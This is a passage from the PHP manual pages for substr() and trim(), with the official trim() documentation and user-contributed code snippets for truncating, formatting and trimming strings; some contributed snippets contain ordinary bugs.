            $pos_start = strpos($pre_string, " "); $pos_end = strrpos($pre_string, " ");
            $string = "...".substr($pre_string, $pos_start, $pos_end)."...";
            if($pos_start === false && $pos_end === false) $string = "...".$pre_string."...";
            else $string = "...".substr($pre_string, $pos_start, $pos_end)."...";
        }

        $match_start = stristr($string, $match_to);
        $match_compute = strlen($string) - strlen($match_start);
    }

    return $string;
}

?>
morgangalpin att gmail dotty com 24-Sep-2007 07:55
Adding the $limit parameter introduced a bug that was not present in the original. If $limit is small or negative, a string with a length exceeding the limit can be returned. The $limit parameter should be checked. It takes slightly more processing, but it is dwarfed in comparison to the use of strlen().

<?php
  function short_name($str, $limit)
  {
    // Make sure a small or negative limit doesn't cause a negative length for substr().
    if ($limit < 3)
    {
      $limit = 3;
    }

    // Now truncate the string if it is over the limit.
    if (strlen($str) > $limit)
    {
      return substr($str, 0, $limit - 3) . '...';
    }
    else
    {
      return $str;
    }
  }
?>
Petez 31-Aug-2007 12:56
I wanted to work out the fastest way to get the first few characters from a string, so I ran the following experiment to compare substr, direct string access and strstr:

<?php
/* substr access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    $opening = substr($string,0,11);
    if ($opening == 'Lorem ipsum'){
        true;
    }else{
        false;
    }
}
$endtime1 = endTimer();

/* direct access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    if ($string[0] == 'L' && $string[1] == 'o' && $string[2] == 'r' && $string[3] == 'e' && $string[4] == 'm' && $string[5] == ' ' && $string[6] == 'i' && $string[7] == 'p' && $string[8] == 's' && $string[9] == 'u' && $string[10] == 'm'){
        true;
    }else{
        false;
    }
}
$endtime2 = endTimer();

/* strstr access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    $opening = strstr($string,'Lorem ipsum');
    if ($opening == true){
        true;
    }else{
        false;
    }
}
$endtime3 = endTimer();

echo $endtime1."\r\n".$endtime2."\r\n".$endtime3;
?>

The string was 6 paragraphs of Lorem Ipsum, and I was trying match the first two words. The experiment was run 3 times and averaged. The results were:

(substr) 3.24
(direct access) 11.49
(strstr) 4.96

(With standard deviations 0.01, 0.02 and 0.04)

THEREFORE substr is the fastest of the three methods for getting the first few letters of a string.
Robert Chapin 26-Jun-2007 11:40
All the references to "curly braces" on this page appear to be obsolete.

According to http://us.php.net/manual/en/language.types.string.php

"Using square array-brackets is preferred because the {braces} style is deprecated as of PHP 6."

Robert Chapin
Chapin Information Services
ijavier aka(not imatech) igjav 14-Feb-2007 11:20
<?php
/*
    An advanced substr but without breaking words in the middle.
    Comes in 3 flavours, one gets up to length chars as a maximum, the other with length chars as a minimum up to the next word, and the other considers removing final dots, commas and etcteteras for the sake of beauty (hahaha).
   This functions were posted by me some years ago, in the middle of the ages I had to use them in some corporations incorporated, with the luck to find them in some php not up to date mirrors. These mirrors are rarely being more not up to date till the end of the world... Well, may be am I the only person that finds usef not t bre word in th middl?

Than! (ks)

This is the calling syntax:

    snippet(phrase,[max length],[phrase tail])
    snippetgreedy(phrase,[max length before next space],[phrase tail])

*/

function snippet($text,$length=64,$tail="...") {
    $text = trim($text);
    $txtl = strlen($text);
    if($txtl > $length) {
        for($i=1;$text[$length-$i]!=" ";$i++) {
            if($i == $length) {
                return substr($text,0,$length) . $tail;
            }
        }
        $text = substr($text,0,$length-$i+1) . $tail;
    }
    return $text;
}

// It behaves greedy, gets length characters ore goes for more

function snippetgreedy($text,$length=64,$tail="...") {
    $text = trim($text);
    if(strlen($text) > $length) {
        for($i=0;$text[$length+$i]!=" ";$i++) {
            if(!$text[$length+$i]) {
                return $text;
            }
        }
        $text = substr($text,0,$length+$i) . $tail;
    }
    return $text;
}

// The same as the snippet but removing latest low punctuation chars,
// if they exist (dots and commas). It performs a later suffixal trim of spaces

function snippetwop($text,$length=64,$tail="...") {
    $text = trim($text);
    $txtl = strlen($text);
    if($txtl > $length) {
        for($i=1;$text[$length-$i]!=" ";$i++) {
            if($i == $length) {
                return substr($text,0,$length) . $tail;
            }
        }
        for(;$text[$length-$i]=="," || $text[$length-$i]=="." || $text[$length-$i]==" ";$i++) {;}
        $text = substr($text,0,$length-$i+1) . $tail;
    }
    return $text;
}

/*
echo(snippet("this is not too long to run on the column on the left, perhaps, or perhaps yes, no idea") . "<br>");
echo(snippetwop("this is not too long to run on the column on the left, perhaps, or perhaps yes, no idea") . "<br>");
echo(snippetgreedy("this is not too long to run on the column on the left, perhaps, or perhaps yes, no idea"));
*/
?>
persisteus at web dot de 13-Feb-2007 04:45
Here is also a nice (but a bit slow) alternative for colorizing an true color image:

<?php
// $colorize = hexadecimal code in String format, f.e. "10ffa2"
// $im = the image that have to be computed

$red = hexdec(substr($colorize, 0, 2));
$green = hexdec(substr($colorize, 2, 2));
$blue = hexdec(substr($colorize, 4, 2));

$lum_c = floor(($red*299 + $green*587 + $blue*144) / 1000);

for ($i = 0; $i < $lum_c; $i++)
{
  $r = $red * $i / $lum_c;
  $g = $green * $i / $lum_c;
  $b = $blue * $i / $lum_c;
  $pal[$i] = $r<<16 | $g<<8 | $b;
}
$pal[$lum_c] = $red<<16 | $green<<8 | $blue;
for ($i = $lum_c+1; $i < 255; $i++)
{
  $r = $red + (255-$red) * ($i-$lum_c) / (255-$lum_c);
  $g = $green + (255-$green) * ($i-$lum_c) / (255-$lum_c);
  $b = $blue + (255-$blue) * ($i-$lum_c) / (255-$lum_c);
  $pal[$i] = $r<<16 | $g<<8 | $b;
}

$sy = imagesy($im);
$sx = imagesx($im);
for($y=0;$y<$sy;$y++)
{
  for($x=0;$x<$sx;$x++)
  {
    $rgba = imagecolorat($im, $x, $y);
    $a = ($rgba & 0x7F000000) >> 24;
    $r = ($rgba & 0xFF0000) >> 16;
    $g = ($rgba & 0x00FF00) >> 8;
    $b = ($rgba & 0x0000FF);

    $lum = floor(($r*299+$g*587+$b*144)/1000);

    imagesetpixel($im, $x, $y, $a<<24 | $pal[$lum]);
  }
}
?>
egingell at sisna dot com 19-Oct-2006 12:19
<?php

/**
 * string substrpos(string $str, mixed $start [[, mixed $end], boolean $ignore_case])
 *
 * If $start is a string, substrpos will return the string from the position of the first occuring $start to $end
 *
 * If $end is a string, substrpos will return the string from $start to the position of the first occuring $end
 *
 * If the first character in (string) $start or (string) $end is '-', the last occuring string will be used.
 *
 * If $ignore_case is true, substrpos will not care about the case.
 * If $ignore_case is false (or anything that is not (boolean) true, the function will be case sensitive.
 *        Both of the above: only applies if either $start or $end are strings.
 *
 * echo substrpos('This is a string with 0123456789 numbers in it.', 5, '5');
 *        // Prints 'is a string with 01234';
 *
 * echo substrpos('This is a string with 0123456789 numbers in it.', '5', 5);
 *        // Prints '56789'
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-string')
 *        // Prints 's is a string with 0123456789 numbers in it and two '
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-STRING', true)
 *        // Prints 's is a string with 0123456789 numbers in it and two '
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-STRING', false)
 *        // Prints 's is a string with 0123456789 numbers in it and two strings.'
 *
 * Warnings:
 *        Since $start and $end both take either a string or an integer:
 *            If the character or string you are searching $str for is a number, pass it as a quoted string.
 *        If $end is (integer) 0, an empty string will be returned.
 *        Since this function takes negative strings ('-search_string'):
 *            If the string your using in $start or $end is a '-' or begins with a '-' escape it with a '\'.
 *            This only applies to the *first* character of $start or $end.
 */

// Define stripos() if not defined (PHP < 5).
if (!is_callable("stripos")) {
    function stripos($str, $needle, $offset = 0) {
        return strpos(strtolower($str), strtolower($needle), $offset);
    }
}

function substrpos($str, $start, $end = false, $ignore_case = false) {
    // Use variable functions
    if ($ignore_case === true) {
        $strpos = 'stripos'; // stripos() is included above in case it's not defined (PHP < 5).
    } else {
        $strpos = 'strpos';
    }

    // If end is false, set it to the length of $str
    if ($end === false) {
        $end = strlen($str);
    }

    // If $start is a string do what's needed to make it an integer position for substr().
    if (is_string($start)) {
        // If $start begins with '-' start processing until there's no more matches and use the last one found.
        if ($start{0} == '-') {
            // Strip off the '-'
            $start = substr($start, 1);
            $found = false;
            $pos = 0;
            while(($curr_pos = $strpos($str, $start, $pos)) !== false) {
                $found = true;
                $pos = $curr_pos + 1;
            }
            if ($found === false) {
                $pos = false;
            } else {
                $pos -= 1;
            }
        } else {
            // If $start begins with '\-', strip off the '\'.
            if ($start{0} . $start{1} == '\-') {
                $start = substr($start, 1);
            }
            $pos = $strpos($str, $start);
        }
        $start = $pos !== false ? $pos : 0;
    }

    // Chop the string from $start to strlen($str).
    $str = substr($str, $start);

    // If $end is a string, do exactly what was done to $start, above.
    if (is_string($end)) {
        if ($end{0} == '-') {
            $end = substr($end, 1);
            $found = false;
            $pos = 0;
            while(($curr_pos = strpos($str, $end, $pos)) !== false) {
                $found = true;
                $pos = $curr_pos + 1;
            }
            if ($found === false) {
                $pos = false;
            } else {
                $pos -= 1;
            }
        } else {
            if ($end{0} . $end{1} == '\-') {
                $end = substr($end, 1);
            }
            $pos = $strpos($str, $end);
        }
        $end = $pos !== false ? $pos : strlen($str);
    }

    // Since $str has already been chopped at $start, we can pass 0 as the new $start for substr()
    return substr($str, 0, $end);
}

?>
feedback at realitymedias dot com 16-Oct-2006 02:47
This function can replace substr() in some situations you don't want to cut right in the middle of a word. strtrim will cut between words when it is possible choosing the closest possible final string len to return. the maxoverflow parameter lets you choose how many characters can overflow past the maxlen parameter.

<?php

function strtrim($str, $maxlen=100, $elli=NULL, $maxoverflow=15) {
    global $CONF;

    if (strlen($str) > $maxlen) {

        if ($CONF["BODY_TRIM_METHOD_STRLEN"]) {
            return substr($str, 0, $maxlen);
        }

        $output = NULL;
        $body = explode(" ", $str);
        $body_count = count($body);

        $i=0;

        do {
            $output .= $body[$i]." ";
            $thisLen = strlen($output);
            $cycle = ($thisLen < $maxlen && $i < $body_count-1 && ($thisLen+strlen($body[$i+1])) < $maxlen+$maxoverflow?true:false);
            $i++;
        } while ($cycle);
        return $output.$elli;
    }
    else return $str;
}

?>
Bradley from California 10-Jan-2006 10:34
Add on to (a function originally written by) "Matias from Argentina": str_format_number function.

Just added handling of $String shorter then $Format by adding a side to start the fill and a string length to the while loop.

<?php
function str_format_number($String, $Format, $Start = 'left'){
    //If we want to fill from right to left incase string is shorter then format
    if ($Start == 'right') {
        $String = strrev($String);
        $Format = strrev($Format);
    }
    if($Format == '') return $String;
    if($String == '') return $String;
    $Result = '';
    $FormatPos = 0;
    $StringPos = 0;
    while ((strlen($Format) - 1) >= $FormatPos && strlen($String) > $StringPos) {
        //If its a number => stores it
        if (is_numeric(substr($Format, $FormatPos, 1))) {
            $Result .= substr($String, $StringPos, 1);
            $StringPos++;
            //If it is not a number => stores the caracter
        } else {
            $Result .= substr($Format, $FormatPos, 1);
        }
        //Next caracter at the mask.
        $FormatPos++;
    }
    if ($Start == 'right') $Result = strrev($Result);
    return $Result;
}
?>
eallik at hotmail dot com 05-Jan-2006 04:22
Be careful when comparing the return value of substr to FALSE. FALSE may be returned even if the output is a valid string.

substr("0", 0); // equals "0", comparision with FALSE evaluates to true, because "0" == 0 == FALSE
mr at bbp dot biz 14-Dec-2005 11:54
Here's a little addon to the html_substr function posted by fox.

Now it counts only chars outside of tags, and doesn't cut words.

Note: this will only work in xhtml strict/transitional due to the checking of "/>" tags and the requirement of quotations in every value of a tag. It's also only been tested with the presence of br, img, and a tags, but it should work with the presence of any tag.

<?php
function html_substr($posttext, $minimum_length = 200, $length_offset = 20, $cut_words = FALSE, $dots = TRUE) {

    // $minimum_length:
    // The approximate length you want the concatenated text to be

    // $length_offset:
    // The variation in how long the text can be in this example text
    // length will be between 200 and 200-20=180 characters and the
    // character where the last tag ends

    // Reset tag counter & quote checker
    $tag_counter = 0;
    $quotes_on = FALSE;
    // Check if the text is too long
    if (strlen($posttext) > $minimum_length) {
        // Reset the tag_counter and pass through (part of) the entire text
        $c = 0;
        for ($i = 0; $i < strlen($posttext); $i++) {
            // Load the current character and the next one
            // if the string has not arrived at the last character
            $current_char = substr($posttext,$i,1);
            if ($i < strlen($posttext) - 1) {
                $next_char = substr($posttext,$i + 1,1);
            }
            else {
                $next_char = "";
            }
            // First check if quotes are on
            if (!$quotes_on) {
                // Check if it's a tag
                // On a "<" add 3 if it's an opening tag (like <a href...)
                // or add only 1 if it's an ending tag (like </a>)
                if ($current_char == '<') {
                    if ($next_char == '/') {
                        $tag_counter += 1;
                    }
                    else {
                        $tag_counter += 3;
                    }
                }
                // Slash signifies an ending (like </a> or ... />)
                // substract 2
                if ($current_char == '/' && $tag_counter <> 0) $tag_counter -= 2;
                // On a ">" substract 1
                if ($current_char == '>') $tag_counter -= 1;
                // If quotes are encountered, start ignoring the tags
                // (for directory slashes)
                if ($current_char == '"') $quotes_on = TRUE;
            }
            else {
                // IF quotes are encountered again, turn it back off
                if ($current_char == '"') $quotes_on = FALSE;
            }

            // Count only the chars outside html tags
            if($tag_counter == 2 || $tag_counter == 0){
                $c++;
            }

            // Check if the counter has reached the minimum length yet,
            // then wait for the tag_counter to become 0, and chop the string there
            if ($c > $minimum_length - $length_offset && $tag_counter == 0 && ($next_char == ' ' || $cut_words == TRUE)) {
                $posttext = substr($posttext,0,$i + 1);
                if($dots){
                   $posttext .= '...';
                }
                return $posttext;
            }
        }
    }
    return $posttext;
}

?>
frank at jkelloggs dot dk 25-Jul-2005 11:37
Regarding the utf8_substr function from lmak: The pattern '/./u' doesn't match newline characters. This means that the substring from 0 to the total length of the string will miss the number of characters in the end matching the number of newlines in the string. To fix this one can add the s modifier (PCRE_DOTALL) in the pattern:

<?php
function utf8_substr($str,$start)
{
   preg_match_all("/./su", $str, $ar);

   if(func_num_args() >= 3) {
       $end = func_get_arg(2);
       return join("",array_slice($ar[0],$start,$end));
   } else {
       return join("",array_slice($ar[0],$start));
   }
}
?>
php_net at thomas dot trella dot de 29-Jun-2005 05:07
I needed to cut a string after x chars at a  html converted utf-8 text (for example Japanese text like &#23344;&#35632;&#24368;&#33072;&#27440;&#32591;).
The problem was, the different length of the signs, so I wrote the following function to handle that.
Perhaps it helps.

<?php

function html_cutstr ($str, $len)
{
    if (!preg_match('/\&#[0-9]*;.*/i', $str))
    {
        $rVal = strlen($str, $len);
        break;
    }

    $chars = 0;
    $start = 0;
    for($i=0; $i < strlen($str); $i++)
    {
        if ($chars >= $len)
        break;

        $str_tmp = substr($str, $start, $i-$start);
        if (preg_match('/\&#[0-9]*;.*/i', $str_tmp))
        {
            $chars++;
            $start = $i;
        }
    }
    $rVal = substr($str, 0, $start);
    if (strlen($str) > $start)
    $rVal .= " ...";
    return $rVal;
}
?>
ivanhoe011 at gmail dot com 08-Jun-2005 05:31
If you need just a single character from the string you don't need to use substr(), just use curly braces notation:

<?php
    // both lines will output the 3rd character
    echo substr($my_string, 2, 1);
    echo $my_string{2};
?>

curly braces syntax is faster and more readable IMHO..
rob NOSPAM at clancentric dot net 07-Jun-2005 12:43
I have developed a function with a similar outcome to jay's

Checks if the last character is or isnt a space. (does it the normal way if it is)
It explodes the string into an array of seperate works, the effect is... it chops off anything after and including the last space.

<?php
function limit_string($string, $charlimit)
{
    if(substr($string,$charlimit-1,1) != ' ')
    {
        $string = substr($string,'0',$charlimit);
        $array = explode(' ',$string);
        array_pop($array);
        $new_string = implode(' ',$array);

        return $new_string.'...';
    }
    else
    {
        return substr($string,'0',$charlimit-1).'...';
    }
}
?>
bleakwind at msn dot com 25-May-2005 07:11
This returns the portion of str specified by the start and length parameters..
It can performs multi-byte safe on number of characters. like mb_strcut() ...

Note:
1.Use it like this bite_str(string str, int start, int length [,byte of on string]);
2.First character's position is 0. Second character position is 1, and so on...
3.$byte is one character length of your encoding, For example: utf-8 is "3", gb2312 and big5 is "2"...you can use the function strlen() get it...
Enjoy it :) ...

--- Bleakwind
QQ:940641
http://www.weaverdream.com

PS:I'm sorry my english is too poor... :(

<?php
// String intercept By Bleakwind
// utf-8:$byte=3 | gb2312:$byte=2 | big5:$byte=2
function bite_str($string, $start, $len, $byte=3)
{
    $str     = "";
    $count   = 0;
    $str_len = strlen($string);
    for ($i=0; $i<$str_len; $i++) {
        if (($count+1-$start)>$len) {
            $str  .= "...";
            break;
        } elseif ((ord(substr($string,$i,1)) <= 128) && ($count < $start)) {
            $count++;
        } elseif ((ord(substr($string,$i,1)) > 128) && ($count < $start)) {
            $count = $count+2;
            $i     = $i+$byte-1;
        } elseif ((ord(substr($string,$i,1)) <= 128) && ($count >= $start)) {
            $str  .= substr($string,$i,1);
            $count++;
        } elseif ((ord(substr($string,$i,1)) > 128) && ($count >= $start)) {
            $str  .= substr($string,$i,$byte);
            $count = $count+2;
            $i     = $i+$byte-1;
        }
    }
    return $str;
}

// Test
$str = "123456¶à×Ö½Ú123456×Ö·û´®123456½ØÈ¡º¯Êý";
for($i=0;$i<30;$i++){
    echo "<br>".bite_str($str,$i,20);
}
?>
fanfatal at fanfatal dot pl 17-May-2005 08:45
Hmm ... this is a script I wrote, whitch is very similar to substr, but it isn't takes html and bbcode for counting and it takes portion of string and show avoided (html & bbcode) tags too ;]
Specially usefull for show part of serach result included html and bbcode tags

<?php

/**
 * string csubstr ( string string, int start [, int length] )
 *
 * @author FanFataL
 * @param string string
 * @param int start
 * @param [int length]
 * @return string
 */
function csubstr($string, $start, $length=false) {
    $pattern = '/(\[\w+[^\]]*?\]|\[\/\w+\]|<\w+[^>]*?>|<\/\w+>)/i';
    $clean = preg_replace($pattern, chr(1), $string);
    if(!$length)
        $str = substr($clean, $start);
    else {
        $str = substr($clean, $start, $length);
        $str = substr($clean, $start, $length + substr_count($str, chr(1)));
    }
    $pattern = str_replace(chr(1),'(.*?)',preg_quote($str));
    if(preg_match('/'.$pattern.'/is', $string, $matched))
        return $matched[0];
    return $string;
}

?>

Using this is similar to simple substr.

Greatings ;]
...
woutermb at gmail dot com 21-Mar-2005 08:19
Well this is a script I wrote, what it does is chop up long words with malicious meaning into several parts. This way, a chat in a table will not get stretched anymore.

<?php

function text($string,$limit=20,$chop=10){

$text = explode(" ",$string);
while(list($key, $value) = each($text)){
    $length = strlen($value);
    if($length >=20){
        for($i=0;$i<=$length;$i+=10){
            $new .= substr($value, $i, 10);
            $new .= " ";
        }
         $post .= $new;
    }
    elseif($length <=15){
        $post .= $value;
    }
    $post .= " ";
}
return($post);
}

// for example, this would return:
$output = text("Well this text doesn't get cut up, yet thisssssssssssssssssssssssss one does.", 10, 5);

echo($output); // "Well this text doesn't get cup up, yet thiss sssss sssss sssss sssss sss one does."
?>

I hope it was useful.. :)
steve at unicycle dot co dot nz 14-Mar-2005 06:34
To quickly trim an optional trailing slash off the end of a path name:

if (substr( $path, -1 ) == '/') $path = substr( $path, 0, -1 );
andrewmclagan at gmail dot com 20-Feb-2005 10:58
Hi there here is a little function i wrote to limit the number of lines in a string, i could not find anything else like it out there

<?php
function lineLimiter ($string = "", $max_lines = 1) {

         $string = ereg_replace("\n", "##", $string);

         $totalLines = (substr_count($string, '##') + 1);

         $string = strrev($string);

         $stringLength = strlen($string);

         while ($totalLines > $max_lines) {
             $pos = 0;
             $pos = strpos ( $string, "##") + 2;
             //$pos = $pos - $stringLength;
             $string = substr($string, $pos);
             $totalLines--;
         }
         $string = strrev($string);
          $string = ereg_replace("##", "\n", $string);
         return $string;
    }
?>
06-Jul-2003 02:39
If you want to substring the middle of a string with another and keep the words intact:

<?php
/**
 * Reduce a string by the middle, keeps whole words together
 *
 * @param string $string
 * @param int $max (default 50)
 * @param string $replacement (default [...])
 * @return string
 * @author david at ethinkn dot com
 * @author loic at xhtml dot ne
 * @author arne dot hartherz at gmx dot net
 */

function strMiddleReduceWordSensitive ($string, $max = 50, $rep = '[...]') {
    $strlen = strlen($string);

    if ($strlen <= $max)
        return $string;

    $lengthtokeep = $max - strlen($rep);
    $start = 0;
    $end = 0;

    if (($lengthtokeep % 2) == 0) {
        $start = $lengthtokeep / 2;
        $end = $start;
    } else {
        $start = intval($lengthtokeep / 2);
        $end = $start + 1;
    }

    $i = $start;
    $tmp_string = $string;
    while ($i < $strlen) {
        if ($tmp_string[$i] == ' ') {
            $tmp_string = substr($tmp_string, 0, $i) . $rep;
            $return = $tmp_string;
        }
        $i++;
    }

    $i = $end;
    $tmp_string = strrev ($string);
    while ($i < $strlen) {
        if ($tmp_string[$i] == ' ') {
            $tmp_string = substr($tmp_string, 0, $i);
            $return .= strrev ($tmp_string);
        }
        $i++;
    }
    return $return;
    return substr($string, 0, $start) . $rep . substr($string, - $end);
}

echo strMiddleReduceWordSensitive ('ABCDEEF GHIJK LLKJHKHKJHKL HGHFK sdfasdfsdafsdf sadf asdf sadf sad s', 30) . "\n";
// Returns: ABCDEEF GHIJK[...]asdf sadf sad s (33 chrs)
echo strMiddleReduceWordSensitive ('ABCDEEF GHIJK LLKJHKHKJHKL HGHFK sdfasdfsdafsdf sadf asdf sadf sad s', 30, '...') . "\n";
// Returns: ABCDEEF GHIJK...asdf sadf sad s (32 chrs)
?>


Strip whitespace (or other characters) from the beginning and end of a string

  • « substr
  • ucfirst »
  • PHP Manual
  • String Functions
  • Strip whitespace (or other characters) from the beginning and end of a string

trim

(PHP 4, PHP 5)

trim — Strip whitespace (or other characters) from the beginning and end of a string

Description

string trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] )

This function returns a string with whitespace stripped from the beginning and end of str. Without the second parameter, trim() will strip these characters:

  • " " (ASCII 32 (0x20)), an ordinary space.
  • "\t" (ASCII 9 (0x09)), a tab.
  • "\n" (ASCII 10 (0x0A)), a new line (line feed).
  • "\r" (ASCII 13 (0x0D)), a carriage return.
  • "\0" (ASCII 0 (0x00)), the NUL-byte.
  • "\x0B" (ASCII 11 (0x0B)), a vertical tab.

Parameters

str

The string that will be trimmed.

character_mask

Optionally, the stripped characters can also be specified using the character_mask parameter. Simply list all characters that you want to be stripped. With .. you can specify a range of characters.

Return Values

The trimmed string.

Examples

Example #1 Usage example of trim()

<?php

$text   = "\t\tThese are a few words :) ...  ";
$binary = "\x09Example string\x0A";
$hello  = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = trim($text);
var_dump($trimmed);

$trimmed = trim($text, " \t.");
var_dump($trimmed);

$trimmed = trim($hello, "Hdle");
var_dump($trimmed);

$trimmed = trim($hello, 'HdWr');
var_dump($trimmed);

// trim the ASCII control characters at the beginning and end of $binary
// (from 0 to 31 inclusive)
$clean = trim($binary, "\x00..\x1F");
var_dump($clean);

?>

The above example will output:

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(28) "These are a few words :) ..."
string(24) "These are a few words :)"
string(5) "o Wor"
string(9) "ello Worl"
string(14) "Example string"

Example #2 Trimming array values with trim()

<?php
function trim_value(&$value)
{
    $value = trim($value);
}

$fruit = array('apple','banana ', ' cranberry ');
var_dump($fruit);

array_walk($fruit, 'trim_value');
var_dump($fruit);

?>

The above example will output:

array(3) {
  [0]=>
  string(5) "apple"
  [1]=>
  string(7) "banana "
  [2]=>
  string(11) " cranberry "
}
array(3) {
  [0]=>
  string(5) "apple"
  [1]=>
  string(6) "banana"
  [2]=>
  string(9) "cranberry"
}

Notes

Note: Possible gotcha: removing middle characters

Because trim() trims characters from the beginning and end of a string, it may be confusing when characters are (or are not) removed from the middle. trim('abc', 'bad') removes both 'a' and 'b' because it trims 'a' thus moving 'b' to the beginning to also be trimmed. So, this is why it "works" whereas trim('abc', 'b') seemingly does not.

See Also

  • ltrim() - Strip whitespace (or other characters) from the beginning of a string
  • rtrim() - Strip whitespace (or other characters) from the end of a string
  • str_replace() - Replace all occurrences of the search string with the replacement string

User Contributed Notes

david at rayninfo dot co dot uk 07-Oct-2014 07:44
Trim will generate a warning is you try to trim an empty string if this is a problem for you can test with is_string
Anonymous 02-Feb-2014 02:30
if (preg_match('/[^\d]/', $pytanie_pomoc)) {
            throw new exception('special chars exists or spaces!.');
        }
tomdudman at gmail dot com 13-Jan-2014 11:33
This function trims regular expressions from strings.

<?php
    function preg_trim( $string, $pattern ) {
        $pattern = array( "/^" . $pattern . "*/", "/" . $pattern . "*$/" );
        return preg_replace( $pattern, "", $string );
    }
?>

The following example outputs "Hello, world":

<?php
    $hello = "   ...%20Hello, world!";
    echo preg_trim( $hello, "[^a-zA-Z]" );
?>
syn-attack at devilzc0de dot org 02-Feb-2013 10:10
I think this is my implementation of trim...

<?php
    /*
     * Function: "trim"
     * @str = source
     * @charlist = list of characters to be trimmed from the source
     *
     * Author: syn-attack@devilzc0de.org
     * Full documentation in http://php.net/manual/en/function.trim.php
     */
    function __trim($str, $charlist = '') {
        $result = '';
        /* list of forbidden chars to be trimmed */
        $forbidden_list = array(" ", "\t", "\r", "\n", "\0", "\x0B");

        if (empty($charlist)) {
            for ($i = 0; $i < strlen($str); $i++) {
                if (($str[$i] != $forbidden_list[0]) &&
                    ($str[$i] != $forbidden_list[1]) &&
                    ($str[$i] != $forbidden_list[2]) &&
                    ($str[$i] != $forbidden_list[3]) &&
                    ($str[$i] != $forbidden_list[4]) &&
                    ($str[$i] != $forbidden_list[5])) {
                    $result .= $str[$i];
                }
            }
        }
        else if (!empty($charlist)) {
            $is_not_same = true;

            for ($i = 0; $i < strlen($str); $i++) {
                for ($j = 0; $j < strlen($charlist); $j++) {
                    if ($str[$i] != $charlist[$j]) {
                        $is_not_same = true;
                    }
                    else if ($str[$i] == $charlist[$j]) {
                        $is_not_same = false;
                        break;
                    }
                }

                if ($is_not_same == true) {
                    $result .= $str[$i];
                }
            }
        }

        return ($result);
    }

    $str = "Paulus Gandung Prakosa";
    echo __trim($str);
?>
seyednaser at gmail dot com 28-Aug-2012 04:49
To show off the empty positions in a string by means of trim():

<?php
    $string = "    Hello World!   ";
    echo $string;
    echo " Has : ".strlen($string)." letter(s). One by one according to the following:<br />";
    echo "<br />".$rightt = strlen(ltrim($string)) - strlen(trim($string))." empty position(s) from right.";
    echo "<br />".$leftt = strlen(rtrim($string)) - strlen(trim($string))." empty position(s) from left.<br />";
    $length = strlen($string);
    for($x = 0; $x < $length; $x++){
    $letter = substr($string, $x, 1);
        if($letter <> " ")
            echo "<br />Position&nbsp;&nbsp; $x ===> &nbsp;&nbsp;".substr($string, $x, 1);
        else
            echo "<br />Position&nbsp;&nbsp; $x ===> &nbsp;&nbsp; Empty";
    }
?>

the output is:

Hello World! Has : 19 letter(s). One by one according to the following:

3 empty position(s) from right.
4 empty position(s) from left.

Position   0 ===>    Empty
Position   1 ===>    Empty
Position   2 ===>    Empty
Position   3 ===>    Empty
Position   4 ===>   H
Position   5 ===>   e
Position   6 ===>   l
Position   7 ===>   l
Position   8 ===>   o
Position   9 ===>    Empty
Position   10 ===>   W
Position   11 ===>   o
Position   12 ===>   r
Position   13 ===>   l
Position   14 ===>   d
Position   15 ===>   !
Position   16 ===>    Empty
Position   17 ===>    Empty
Position   18 ===>    Empty
gerjoo at gmail dot com 03-Jun-2011 05:38
On my application I had several users submit what to me appeared as "empty strings", whereas in fact they were submitting the &shy; character.

Trim, by default, does not strip this character (Though arguably it should). The following code strips this character from your input:

<?php

// As the &shy; character is invisible we'll simply use the ASCII numeric representation, and decode via chr():
$string = trim($string, chr(173));

// If you wish to strip all occurences this will work:
$string = str_replace(chr(173), "", $string);

?>

Gerard
ludko2 at gmail dot com 09-Jul-2010 11:28
Non-breaking spaces can be troublesome with trim:

<?php
// turn some HTML with non-breaking spaces into a "normal" string
$myHTML = "&nbsp;abc";
$converted = strtr($myHTML, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));

// this WILL NOT work as expected
// $converted will still appear as " abc" in view source
// (but not in od -x)
$converted = trim($converted);

// &nbsp; are translated to 0xA0, so use:
$converted = trim($converted, "\xA0"); // <- THIS DOES NOT WORK

// EDITED>>
// UTF encodes it as chr(0xC2).chr(0xA0)
$converted = trim($converted,chr(0xC2).chr(0xA0)); // should work

// PS: Thanks to John for saving my sanity!
?>
josecruz at josecruz dot com dot br 22-Nov-2008 02:50
A simple function to clear extra white spaces along a string.
<?php
function TrimStr($str)
{
    $str = trim($str);
    for($i=0;$i < strlen($str);$i++)
    {

        if(substr($str, $i, 1) != " ")
        {

            $ret_str .= trim(substr($str, $i, 1));

        }
        else
        {
            while(substr($str,$i,1) == " ")

            {
                $i++;
            }
            $ret_str.= " ";
            $i--; // ***
        }
    }
    return $ret_str;
}
?>

[EDIT BY danbrown AT php DOT net: Contains a fix provided by (info AT deep-soft DOT com) to address the issue where "it deletes the first char after spaces (because of while)."]
Piopier 12-Jan-2007 03:06
It may be useful to know that trim() returns an empty string when the argument is an unset/null variable.
dmr37 at cornell dot edu 17-May-2005 09:47
If you want to check whether something ONLY has whitespaces, use the following:

<?php

if (trim($foobar)=='') {
   echo 'The string $foobar only contains whitespace!';
}

?>
Hayley Watson 08-Feb-2005 01:46
Another way to trim all the elements of an array
<?php
$newarray = array_map('trim', $array);
?>
jubi at irc dot pl 20-Apr-2004 03:48
To remove multiple occurences of whitespace characters in a string an convert them all into single spaces, use this:

<?

$text = preg_replace('/\s+/', ' ', $text);

?>

------------
JUBI
http://www.jubi.buum.pl
HW 06-Jun-2003 03:32
You can combine character ranges and individual characters in trim()'s second argument (ditto for ltrim and rtrim). All of the specified characters and ranges will be used concurrently (i.e., if a character on either end of the string matches any of the specified charaters or character ranges, it will be trimmed). The characters and character ranges can be in any order (except of course that the character ranges need to be specified in increasing order) and may overlap.
E.g., trim any nongraphical non-ASCII character:
trim($text,"\x7f..\xff\x0..\x1f");
tbm.at.home.dot.nl 14-Mar-2002 08:30
